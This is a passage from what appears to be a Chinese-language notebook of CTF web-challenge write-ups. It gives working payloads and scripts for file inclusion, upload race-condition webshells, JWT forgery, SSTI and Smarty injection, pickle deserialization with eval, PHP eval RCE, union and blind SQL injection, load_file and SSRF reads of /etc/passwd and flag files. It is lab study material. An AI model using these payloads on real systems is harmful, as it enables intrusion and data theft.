        sec = tmp
        print(sec)
        break
session = (FSCM.encode(sec, '{"user":"admin"}' ))
print(session)


脚本的大概原理:
先用requests.Session生成一个会话示例的session,并向靶机的/user地址发起一次请求来获得初始的session。此时的session应该是用后端秘钥SECRET_KEY对当前用户名加密后的值

image-20241204004521500

因为4字节一共能表示2的32次方个数字,即0~65535,我们最多循环65536次即可。因为4个字节也就是32位,每一位有可能为1,有可能为0。

对于每个数字,获得它的字符形式的表示,作为秘钥尝试对token解密

image-20241204005525884

image-20241204005617642

5caec486b35fdc1fb50cc9ca32b15f90幻灯片174_20241122204831780

0b82891b8523e2c120477195e929a14c幻灯片179_20241122204832000

最后将伪造的session放进bp里发包访问,得到flag

[BSidesSF 2020]Had a bad day(文件包含)

一,题目

1,打开题目,发现点击WOORERS,url中就向index.php传参?category=WOORERS ;

然后就显示个图面;点击MEOWERS,url中就向index.php传参?category=MEOWERS,然后又显示个图片。此时可能就在想,会不会是sql注入,输什么,就从数据库里面调什么给你看;会不会是文件包含,输什么就包含什么给你看。

image-20241206202534521

image-20241206202552598

2,尝试一波文件包含

?category=php://filter/convert.base64-encode/resource=index
注意,这里之所以是index,而不是index.php。后面会有解释

果然出现了源码。

image-20241206203051616

base64解码得到index.php的源码

  <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
				
代码审计一下:
strpos()函数:从$file里找"woofers"出现的位置,(从0开始)。找到了就返回出现的位置,找不到就返回false。同理meowers,index。找到了,则文件包含($file.php),因为这里有php了,所以php伪协议读取的时候就不用填php了

二,解题

你传参时,index.php必须检测到你有woofers或meowers或index才让你文件包含,所以你读取flag.php文件时,得带上这三个中的一个,这里就带上index吧。为什么要用php伪协议来读取flag呢?而不直接包含flag文件呢,因为flag在flag.php里知识一个注释而已,你仅仅文件包含它,它是不会输出flag的。

?category=php://filter/convert.base64-encode/index/resource=flag

[NSSCTF 3rd]NSS影院

一,题目

1.点击咨询

image-202412062211151172.资讯页面下存在TEST新闻,点击进去

image-20241206221211429

3.评论区第二页有提示

image-20241206221247515

测试发现是网站的后台页面,管理员用户名在刚刚提交文章的页面是可以看到的,密码需要爆破

这个是管理员账户

image-20241206221436844

4,通过dirsearch扫,发现www.zip文件,里面是个密码字典,用来爆破的

image-20240801001552073

但是每次爆破都会刷新一次验证码,因此可以配合bp中的xiapao插件来识别

image-20240801001652352

密码为princess!,管理员的名字为d3f4u1t,在刚刚文章页面也能看到

登录在后台页面看到flag

image-20240801001742061

NSSCTF{wh4t_a_n1ce_7ry_f0r_v3rific4ti0n_c0de}

[FSCTF 2023]加速加速(条件竞争)

一,题目

1,上传图片,image-202412070140425552,抓个上传php文件的看看,发现网站只允许我上传jpg,gif,png图片。这种后端验证,原理很可能是(你先上传文件到服务器,服务器再来检测你是什么文件,是php文件的话再把你删了。但是我的php文件那一瞬间还是暂时停留过在服务器上。

image-20241207014236060

3,传个jpg文件上去,看下存到那个位置。发现就存到当前路径下的upload目录下面

image-20241207014549218

4,穿个shell1.php上去(该文件用于创建另一个后门文件),把它发到insruder,进行空字符爆破,不断发包

image-20241207014748804

image-20241207014833147

5,同时,不断访问shell1.php ,通过条件竞争,趁服务器把它删掉之前,我不断访问,只要访问成功了,就会触发shell1.php的代码,从而生成另一个后门文件

image-20241207015015634

注意一看返回码200,说明我访问成功了shell1.php,那么此刻,我的那个后门文件在此刻也生成了

6302c38ae72cebd5789c21f1ec5e793b

6,进行命令执行(有时候不知道为什么蚁剑连不上去,只能通过参数进行

image-20241207015413700

[MoeCTF 2021]地狱通讯-改(jwt伪造,ssti)

一,题目

1.打开题目,发现源码,那就代码审计一下

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    res = make_response(ctx)
    name = request.args.get('name') or ''
    if 'admin' in name or name == '':
        return res    //如果你访问/目录,get传参name不等于admin,或者什么都不传,那么直接返回app.py的源码,程序终止。
    payload = {
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res     //只要name的值不等于admin或空,则给你生成一个token,且返回app.py的源码


@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)   //如果没有token,直接重定向的/目录
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']   //对token里的name参数进行解码
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"  //如果捕捉到jwt.encode()异常,则返回不合理
    if name != "admin":
        user = User(name) //创建User类的对象,并传参name
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)  //message.format会把user替换掉{0},且在这里,可以利用ssti注入,我们将flag也传键值0进去 flag={0.__class__.__init__.__globals__},那么这样,user的值也会参入flag那个位置,从而进行ssti注入。注意必须是0才可以,因为只有一个user的值往进传,所以前后必须是一样的,如果为其他数字的话需要俩个变量往进传
        
    else:
        return render_template('flag.html', name=name)   //渲染flag.html并返会渲染后的flag.html页面 ;所以要想return出flag,那么我的token里面的name值就得为admin


if __name__ == "__main__":
    app.run()

image-20241207113944739

二,解题(伪造成admin)

1.先访问/目录,随便抓个cookie中的token值

image-20241207110022827

2.放到jwt里解码

image-20241207110242003

3,给flag传payload,查看秘钥

image-20241207114036826

image-20241207114330566

把admin的token发包,得到flag

image-20241207114358855

[清华]link软链接

1,题目是在线解压,上传个zip文件就给你解压

image-20241218134158995

2,利用:上传个包含软链接的zip文件,解压后就可以指向我想指的目录。

3.解题:

image-20241218134332595

image-20241218134357662

image-20241218134424245

image-20241218134435879

image-20241218134444856

image-20241218134452311

[清华]MOVED(绕过302重定向)

image-20241218135110286

image-20241218135343351

image-20241218135443291

总结:要仔细观察url的变化,是否有重定向。或者通过bp抓包来查看有没有重定向

[清华]Phishing(openssl工具解密RSA)

image-20241218140540593

[CISCN 2019华东南]Web11

image-20250318171648843

image-20250318172238794

没工具啊不会一把梭

补给下知识点

{php}标签

Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

{literal}标签

{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

PHP5中可用

<script language="php">phpinfo();</script>

getStreamVariable

这个方法可以读取一个文件并返回其内容,可以用self来获取Smarty对象并调用这个方法

新版本smarty已将该静态方法删除

payload:{self::getStreamVariable("file:///etc/passwd")}

{if}标签

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等

{if phpinfo()}{/if}

该题payload

{if readfile('/flag')}{/if}

[CISCN2019 华北赛区 Day1 Web2]

1、打开页面发现

在这里插入图片描述

查看源码,他给了提示,让我们买到lv6

image-20250401163854902

一直翻页,根据page的参数值,网站就会换到某一页。一直没看到lv6,那就爆破一下

image-20250401163948798

右键检查一下lv的标识,竟然是一lv5.png来回显的,那么我就爆破检查它的回显数据有没有lv6.png

image-20250401164246993

爆破脚本

import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
    print(i)
    r=requests.get( url + str(i) )
    if 'lv6.png' in r.text:
        print (i)
        break

太贵了,买不起,抓个包改价格

image-20250401165040892

发现可以决定折扣

image-20250401165313618

发现重定向了,只有admin才能访问

image-20250401165425442

image-20250401165427896

请求包里有JWT参数,应该是要把用户改为admin才行。前面我注册用户时,发现注册为admin是不被允许的,这更加证明了我的推测

先用jwtcrack爆破秘钥

image-20250401170117766

放到jwt.io网站,把秘钥放进去,把用户改为admin

image-20250401170316059

把cookie里面的jwt换成admin的

image-20250401170450837

再去访问刚刚被重定向的页面/b1g_m4mber

进去后进去查看源代码,发现有源码提示

image-20250401170632679

一看源码发现有python反序列化函数pickle.loads,这是访问/b1g_m4mber页面时的后端处理,如果是get访问,且为admin,则返回This is Black Technology!,如果以post请求,则会接受become参数,image-20250401191920948

后端会对become参数进行urllib.unquote(become)

urllib.unquote用于对 URL 编码(Percent-encoding) 的字符串进行解码,将其还原成原始字符串。

所以我们在写脚本时要对become参数进行urllib.quote处理。

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)


image-20250401192513475

[网鼎杯 2018]Fakebook

1、先dirsearch扫一波目录

发现有robots.txt

image-20250401194933134

再访问下/user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();#初始化一个 cURL 会话,返回一个 cURL 句柄 $ch

        curl_setopt($ch, CURLOPT_URL, $url);#设置要访问的 URL。
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);#设置 cURL 的返回值为字符串形式,而不是直接输出到浏览器。如果不设置这个选项,curl_exec() 会直接输出内容,而不是返回内容。
        $output = curl_exec($ch);#执行 cURL 请求,将返回的内容存储到 $output 变量中
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#使用 curl_getinfo() 获取 HTTP 请求的返回状态码。
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);#关闭 cURL 会话,释放资源。

        return $output;#如果状态码不是 404,函数返回 $output,即请求到的内容。
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

preg_match

1. 整体结构

  • / 开始和结束的分隔符
  • ^ 匹配字符串开头
  • $ 匹配字符串结尾
  • /i 不区分大小写修饰符

2. 协议部分 (((http(s?))\:\/\/)?)

  • (http(s?)) 匹配 "http" 或 "https"(s可选)
  • \:\/\/ 匹配 "😕/"(需要转义:和/)
  • 最外层(...)? 表示整个协议部分是可选的

3. 域名部分 ([0-9a-zA-Z\-]+\.)+

  • [0-9a-zA-Z\-]+ 匹配1个或多个字母、数字或连字符
  • \. 匹配点号(需要转义)
  • (...)+ 表示可以有多个这样的部分(如"www."、"example.")

4. 顶级域名 [a-zA-Z]{2,6}

  • 匹配2到6个字母(如com、net、online等)

5. 端口部分 (\:[0-9]+)?

  • \: 匹配冒号
  • [0-9]+ 匹配1个或多个数字
  • (...)? 表示整个端口部分是可选的

6. 路径部分 (\/\S*)?

  • \/ 匹配斜杠(需要转义)
  • \S* 匹配0个或多个非空白字符
  • (...)? 表示整个路径部分是可选的

匹配的URL示例

  • http://example.com
  • https://www.example.com
  • example.com
  • sub.domain.example.org:8080/path/to/page
  • http://localhost:3000

突破点:get方法中,curl_exec()如果使用不当就会导致ssrf漏洞

扫目录时。发现了flag.php,但是访问时显示空白,猜测可能flag.php处于内网,如果用ssrf访问flag.php,可以用伪协议file://var/www/html/flag.php访问。

点join注册一个账号

2075370-20201208170601598-99530595

注册了两个用户,发现url里面的参数no=1,就是第一个用户;no=2,就是第二个用户。这不就跟数据库有交互吗,看下有没有sql注入

image-20250401201656743

image-20250401201705091

image-20250401201711588

?no = 1 and 1=1  //回显正常

?no = 1 and 1=2  //错误回显

判定为数字型注入,而且view的路径也别我知道了,再/var/www/html下面

image-20250401202303818

image-20250401202315913

看看表中有多少列 order by 4没错,5就错了。一共有4列

image-20250401202413152

sqlamp也跑出了时间盲注

image-20250401202631831

有过滤

image-20250401203316353

union和select均没有被过滤,但是两个加在一起就被过滤,由此可以判断union select被过滤,这边采用/**/注释绕过

发现username位可以回显,且回显的是位置2

image-20250401204405408

查询当前数据库 库名为fakebook

?no=-1 union/**/select 1,database(),3,4

爆库

?no=-1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata

image-20250401204630354

数据库

fakebook,information_schema,mysql,performance_schema,test

看来fakebook就是我们要的库,爆表 获得users表

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

image-20250401204726305

爆字段

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"

获得字段

no,username,passwd,data

查数据

?no=-1 union/**/select 1,concat(no,"\n",username,"\n",passwd,"\n",data),3,4 from users

查用户

?no=-1 union/**/select 1,user(),3,4--+

image-20250401210803521

发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+

查看源代码后发现flag了

image-20250401211702449

另解:

注意到data字段里面的数据为刚刚我们join的数据的序列化形式

我之前注册博客时,命名位1.blog 而这里数据库存储的就是序列化后的1.blog

image-20250401210803521

查看用户1的博客界面

注意到源代码这边使用的是iframe

你提供的代码是一个 <iframe> 标签,用于在网页中嵌入另一个 HTML 文档。不过,这个 <iframe>src 属性使用了 data:text/html;base64,,这表明它试图加载一个通过 Base64 编码的 HTML 内容。然而,目前的内容是空的,因为 base64 部分没有提供任何数据。

image-20250401212230664

srf访问文件可以用伪协议file://,把序列化字符串作为参数输入

测试,将blog值改为将blog值改为百度的网址****

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:22:"https://www.baidu.com/";}'

检查元素,发现百度在iframe内用base64的形式被加载了出来,其实就是你数据库里村的博客的地址,这个网站会通过iframe把它给加载出来,我直接加载flag文件不好吗

这边由于原本的https://www.baodu.com/是22,所以构造payload时这边改成file:///var/www/html/flag.php要更改长度为29

查看源代码,发现base64编码字符串

解码获得flag

[CISCN 2019初赛]Love Math

一、题目给了个源码

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

分析一下正则

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);#这段代码的作用是:从字符串中提取所有“类似变量名/函数名”的单词,并保存在数组 $used_funcs[0]

第一部分:[a-zA-Z_\x7f-\xff]
表示标识符的第一个字符,它的规则是:

英文字母(大小写都可以)

下划线 _

还有 \x7f-\xff,这是扩展 ASCII 字符范围(即支持某些非英文字符)

第二部分:[a-zA-Z_0-9\x7f-\xff]*
表示标识符的后续字符,可以是:

英文字母

下划线 _

数字 0-9

扩展 ASCII 字符

* 表示“匹配 0 个或多个”这样的字符。

从用户输入 $content 中提取所有可能的函数名/变量名

存入 $used_funcs[0] 数组(preg_match_all 的结果)

然后检查这些函数名是否都在白名单中:

 foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    } 

这里有个知识点是php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘cat/flag’);

$a='system';
$a('cat/flag');

实现这里需要使用的传参是

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

但是这里的_GET和a,b都不是白名单里面的,这里需要替换

替换之后

?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

但是这里的_GET是无法进行直接替换,而且[]也被黑名单过滤了

这里就需要去了解一下他给的白名单里面的函数了

这里说一下需要用到的几个函数

这里先将_GET来进行转换的函数

hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

这里的_GET是ASCII 字符,用在线工具将_GET转换为十六进制

我们先把_GET转为16进制,再通过hex2bin函数将他转为ACSII,恢复原型

image-20250407085855925

hex2bin(5f 47 45 54) 就是 _GET,但是hex2bin()函数也不是白名单里面的,而且这里的5f 47 45 54也不能直接填入,这里会被

正则表达式进行白名单判断

 preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  

这里的hex2bin()函数可以通过base_convert()函数来进行转换

base_convert()函数能够在任意进制之间转换数字

这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin

hex2bin=base_convert(37907361743,10,36)

然后里面的5f 47 45 54要用dechex()函数将10进制数转换为16进制的数

最终的payload:

/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

image-20250407091418824

[java的xml文件泄露]

打开题目,提示我茶买袄,啥???考xxe吗?

image-20250407232633476

结果发现index.jsp??? ,竟然考java,可能就是xml文件泄露了

image-20250407232808048

让我访问这个路径,那就访问一下吧,发现无论怎么提交表单,都是登录失败。

image-20250407232912285

http://challenge.qsnctf.com:30589/DownloadServlet?filename=index.jsp

这个路径看着像java的文件包含,那就看下web.xml文件能包含没,还真有

image-20250407233040455

image-20250407233240271

那么我们访问一下/FlagManager路由,发现方法不允许,get和post请求都不可以,换条路吧

image-20250407233320976

之前说文件包含,看下能包含FlagManager文件没,不过从xml文件中得知的,去访问后都是class文件

image-20250407233551919

访问payload

http://challenge.qsnctf.com:30589/DownloadServlet?filename=WEB-INF/classes/com/ctf/flag/FlagManager.class

注意你访问的是路径中要加classes ,文件后缀是class文件

get方式访问不了

post方式竟然访问成功了

image-20250407233755863

反编译后得到

/*    */ import com.ctf.flag.FlagManager;
/*    */ import java.util.ArrayList;
/*    */ import java.util.Scanner;
/*    */ import javax.servlet.http.HttpServlet;
/*    */ 
/*    */ public class FlagManager extends HttpServlet {
/*    */   public static void main(String[] args) {
/*  9 */     Scanner sc = new Scanner(System.in);
/* 10 */     System.out.println("Please input your flag: ");
/* 11 */     String str = sc.next();
/* 12 */     System.out.println("Your input is: ");
/* 13 */     System.out.println(str);
/* 14 */     char[] stringArr = str.toCharArray();
/* 15 */     Encrypt(stringArr);
/*    */   }
/*    */   
/*    */   public static void Encrypt(char[] arr) {
/* 19 */     ArrayList<Integer> Resultlist = new ArrayList<>();
/* 20 */     for (int i = 0; i < arr.length; i++) {
/* 21 */       int result = arr[i] + 38 ^ 0x30;
/* 22 */       Resultlist.add(Integer.valueOf(result));
/*    */     } 
/* 24 */     int[] key = { 
/* 24 */         110, 107, 185, 183, 183, 186, 103, 185, 99, 105, 
/* 24 */         105, 187, 105, 99, 102, 184, 185, 103, 99, 108, 
/* 24 */         186, 107, 187, 99, 183, 109, 105, 184, 102, 106, 
/* 24 */         106, 188, 109, 186, 111, 188 };
/* 25 */     ArrayList<Integer> Keylist = new ArrayList<>();
/* 26 */     for (int j = 0; j < key.length; j++)
/* 27 */       Keylist.add(Integer.valueOf(key[j])); 
/* 29 */     System.out.println("Result: ");
/* 30 */     if (Resultlist.equals(Keylist)) {
/* 31 */       System.out.println("Congratulations! ");
/*    */     } else {
/* 34 */       System.out.println("Error! ");
/*    */     } 
/*    */   }
/*    */ }


/* Location:              C:\Users\LIUCH\Desktop\!\WEB-INF_classes_com_ctf_flag_FlagManager.class
 * Java compiler version: 8 (52.0)
 * JD-Core Version:       1.1.3
 */

密码学的题,不会写,ai跑出来了

脚本

key = [
    110, 107, 185, 183, 183, 186, 103, 185, 99, 105,
    105, 187, 105, 99, 102, 184, 185, 103, 99, 108,
    186, 107, 187, 99, 183, 109, 105, 184, 102, 106,
    106, 188, 109, 186, 111, 188
]

flag = []
for k in key:
    decrypted = (k ^ 0x30) - 38
    flag.append(chr(decrypted))

print("Flag:", ''.join(flag))

运行脚本后,得到明文flag:

85caad1c-33e3-0bc1-6d5e-a73b044f7d9f

[CISCN 2019华北Day2]Web1

一、题目

打开题目告诉我想要的东西都在flag表和flag字段里面

image-20250408100724379

以此提交参数1,2,3,发现只有1和2有结果

image-20250408100746140

image-20250408100754868

image-20250408100822921

随便输个字母s上去,提示我布尔盲注,

image-20250408100859388

应该还有过滤,先fuzz一波,检测一以下过滤了什么

绕过参考文章https://www.cnblogs.com/smileleooo/p/18200777#burpsuite-fuzz%E6%B5%8B%E8%AF%95

长度为500的是没问题的,只是数据库里没这个数据而已

image-20250408102543632

image-20250408102557248

长度为490的都被检测出来了

image-20250408102652573

长度为480的都显示bool(false)

image-20250408102757605

常见字符都被检测了

image-20250408102900595

这里我们可以采用if关键字 : if(1=1,1,2) ====> 如果1=1条件成立,那么返回结果为1,否则为2

当我们输入if(1=1,1,2),我们却发现返回了Hello, glzjin wants a girlfriend.

7327b9299cf56bc609902a43e3156b56

输入if(1=2,1,2),返回了的是输入2时回显的结果

250294a1287ce903c746bd8b601c36c6

据此我们可以使用if函数通过页面的返回结果来判断sql查询语句的正确性达到非法查询的目的
if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)  #该payload返回Hello, glzjin wants a girlfriend. #判断flag第一位为f ,为什么(flag)要用括号,因为空格被过滤了,使用括号来起到空格的作用 

ascii(substr((select(flag)from(flag)),1,1))=ascii('f')

ascii('f')#返回f的ascii码

ascii(substr((select(flag)from(flag)),1,1))

substr((select(flag)from(flag)),1,1) #从flag表的flag列中取出第一条记录,然后提取该记录值的第一个字符 substr(...,1,1) - 截取查询结果的第1个字符(从第1位开始,取1个字符)

(select(flag)from(flag))

根据payload写出一个简单的get flag的脚本,这里要注意字符的值,可以适当增加flag中常用的字符

import requests

s=requests.session()
flag = ''
for i in range(1,50): #采用双重for循环,第一层作用为,以此判定flag的第一位,第2位,第三位等于多少
    for j in '-{abcdefghijklmnopqrstuvwxyz0123456789}':#第二层作用为:判断第j位具体是什么内容
        url="http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
        sqls="if(ascii(substr((select(flag)from(flag)),{},1))=ascii('{}'),1,2)".format(i,j)
        data={"id":sqls}
        c = s.post(url,data=data,timeout=10)
        if 'Hello' in c.text:
            flag += j
            print(flag)
            break

根据方法一的原理,也可以使用异或的方法,用它可以起到代替or的作用。
0^(ascii(substr((select(flag)from(flag)),1,1))>1)
但还有一些是没有用异或,用的是if,可if有局限性,在id为数字型时,可以直接 select * from users where id=if(1=1,1,0),但如果id单引号字符型或双引号字符型,那就必须在if前加or或and。
找了一个二分法的脚本,比方法一的脚本更加迅速
异或:同为0,异为1

import requests
import time

url = "http://ad5ed2b5-7482-4608-bdfb-6b5f5d8ac62f.node3.buuoj.cn/index.php"
payload = {
	"id" : ""
}
result = ""
for i in range(1,100): #判断flag的每个位置是什么值
	l = 33  # ASCII可打印字符的起始值('!')
	r =130	# ASCII可打印字符的终止值(超出字母范围)
	mid = (l+r)>>1 # 等价于 (l+r)//2,初始中间值 mid:每次二分查找的中间值,用于判断当前字符的ASCII是否大于它。
	while(l<r):#二分查找左边l肯定要小于右边r
		payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)#判断第i个位置的flag字段的ascii值大于ascii码的中间值没,大于的话为true(即为1) ,0^1=1;
		html = requests.post(url,data=payload)
		print(payload)
		if "Hello" in html.text:#如果payload的结果为1的话那么就会回显hello,那么也就判断出flag的该字段确实要大于mid的ascii码
			l = mid+1 #然后就会缩小范围,让左边的便捷扩大,变成mid+1
		else:
			r = mid # 因为你的payload的结果为0,也就是flag的该位置的值小于mid的ascii值,就会缩小右边界的值到mid
		mid = (l+r)>>1# 然后缩小完边界以后,中间值mid要重新取中
    #当 l >= r 时,循环结束,此时 mid 即为当前字符的ASCII值,flag的该位置的值已经找到,准备找下个位置的值
	if(chr(mid)==" "):#假设空格为结束标志
		break
	result = result + chr(mid)
	print(result)
print("flag: " ,result)

A:65-Z:90

a:97-z:122

0:48-9:57

二进制 八进制 十进制 十六进制 字符/缩写 解释
00000000 000 0 00 NUL (NULL) 空字符
00000001 001 1 01 SOH (Start Of Headling) 标题开始
00000010 002 2 02 STX (Start Of Text) 正文开始
00000011 003 3 03 ETX (End Of Text) 正文结束
00000100 004 4 04 EOT (End Of Transmission) 传输结束
00000101 005 5 05 ENQ (Enquiry) 请求
00000110 006 6 06 ACK (Acknowledge) 回应/响应/收到通知
00000111 007 7 07 BEL (Bell) 响铃
00001000 010 8 08 BS (Backspace) 退格
00001001 011 9 09 HT (Horizontal Tab) 水平制表符
00001010 012 10 0A LF/NL(Line Feed/New Line) 换行键
00001011 013 11 0B VT (Vertical Tab) 垂直制表符
00001100 014 12 0C FF/NP (Form Feed/New Page) 换页键
00001101 015 13 0D CR (Carriage Return) 回车键
00001110 016 14 0E SO (Shift Out) 不用切换
00001111 017 15 0F SI (Shift In) 启用切换
00010000 020 16 10 DLE (Data Link Escape) 数据链路转义
00010001 021 17 11 DC1/XON (Device Control 1/Transmission On) 设备控制1/传输开始
00010010 022 18 12 DC2 (Device Control 2) 设备控制2
00010011 023 19 13 DC3/XOFF (Device Control 3/Transmission Off) 设备控制3/传输中断
00010100 024 20 14 DC4 (Device Control 4) 设备控制4
00010101 025 21 15 NAK (Negative Acknowledge) 无响应/非正常响应/拒绝接收
00010110 026 22 16 SYN (Synchronous Idle) 同步空闲
00010111 027 23 17 ETB (End of Transmission Block) 传输块结束/块传输终止
00011000 030 24 18 CAN (Cancel) 取消
00011001 031 25 19 EM (End of Medium) 已到介质末端/介质存储已满/介质中断
00011010 032 26 1A SUB (Substitute) 替补/替换
00011011 033 27 1B ESC (Escape) 逃离/取消
00011100 034 28 1C FS (File Separator) 文件分割符
00011101 035 29 1D GS (Group Separator) 组分隔符/分组符
00011110 036 30 1E RS (Record Separator) 记录分离符
00011111 037 31 1F US (Unit Separator) 单元分隔符
00100000 040 32 20 (Space) 空格
00100001 041 33 21 !
00100010 042 34 22 "
00100011 043 35 23 #
00100100 044 36 24 $
00100101 045 37 25 %
00100110 046 38 26 &
00100111 047 39 27 '
00101000 050 40 28 (
00101001 051 41 29 )
00101010 052 42 2A *
00101011 053 43 2B +
00101100 054 44 2C ,
00101101 055 45 2D -
00101110 056 46 2E .
00101111 057 47 2F /
00110000 060 48 30 0
00110001 061 49 31 1
00110010 062 50 32 2
00110011 063 51 33 3
00110100 064 52 34 4
00110101 065 53 35 5
00110110 066 54 36 6
00110111 067 55 37 7
00111000 070 56 38 8
00111001 071 57 39 9
00111010 072 58 3A :
00111011 073 59 3B ;
00111100 074 60 3C <
00111101 075 61 3D =
00111110 076 62 3E >
00111111 077 63 3F ?
01000000 100 64 40 @
01000001 101 65 41 A
01000010 102 66 42 B
01000011 103 67 43 C
01000100 104 68 44 D
01000101 105 69 45 E
01000110 106 70 46 F
01000111 107 71 47 G
01001000 110 72 48 H
01001001 111 73 49 I
01001010 112 74 4A J
01001011 113 75 4B K
01001100 114 76 4C L
01001101 115 77 4D M
01001110 116 78 4E N
01001111 117 79 4F O
01010000 120 80 50 P
01010001 121 81 51 Q
01010010 122 82 52 R
01010011 123 83 53 S
01010100 124 84 54 T
01010101 125 85 55 U
01010110 126 86 56 V
01010111 127 87 57 W
01011000 130 88 58 X
01011001 131 89 59 Y
01011010 132 90 5A Z
01011011 133 91 5B [
01011100 134 92 5C \
01011101 135 93 5D ]
01011110 136 94 5E ^
01011111 137 95 5F _
01100000 140 96 60 `
01100001 141 97 61 a
01100010 142 98 62 b
01100011 143 99 63 c
01100100 144 100 64 d
01100101 145 101 65 e
01100110 146 102 66 f
01100111 147 103 67 g
01101000 150 104 68 h
01101001 151 105 69 i
01101010 152 106 6A j
01101011 153 107 6B k
01101100 154 108 6C l
01101101 155 109 6D m
01101110 156 110 6E n
01101111 157 111 6F o
01110000 160 112 70 p
01110001 161 113 71 q
01110010 162 114 72 r
01110011 163 115 73 s
01110100 164 116 74 t
01110101 165 117 75 u
01110110 166 118 76 v
01110111 167 119 77 w
01111000 170 120 78 x
01111001 171 121 79 y
01111010 172 122 7A z
01111011 173 123 7B {
01111100 174 124 7C |
01111101 175 125 7D }
01111110 176 126 7E ~
01111111 177 127 7F DEL (Delete) 删除

signin

一、题目给了个附件

# -*- encoding: utf-8 -*-
'''
@File    :   main.py
@Time    :   2025/03/28 22:20:49
@Author  :   LamentXU 
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
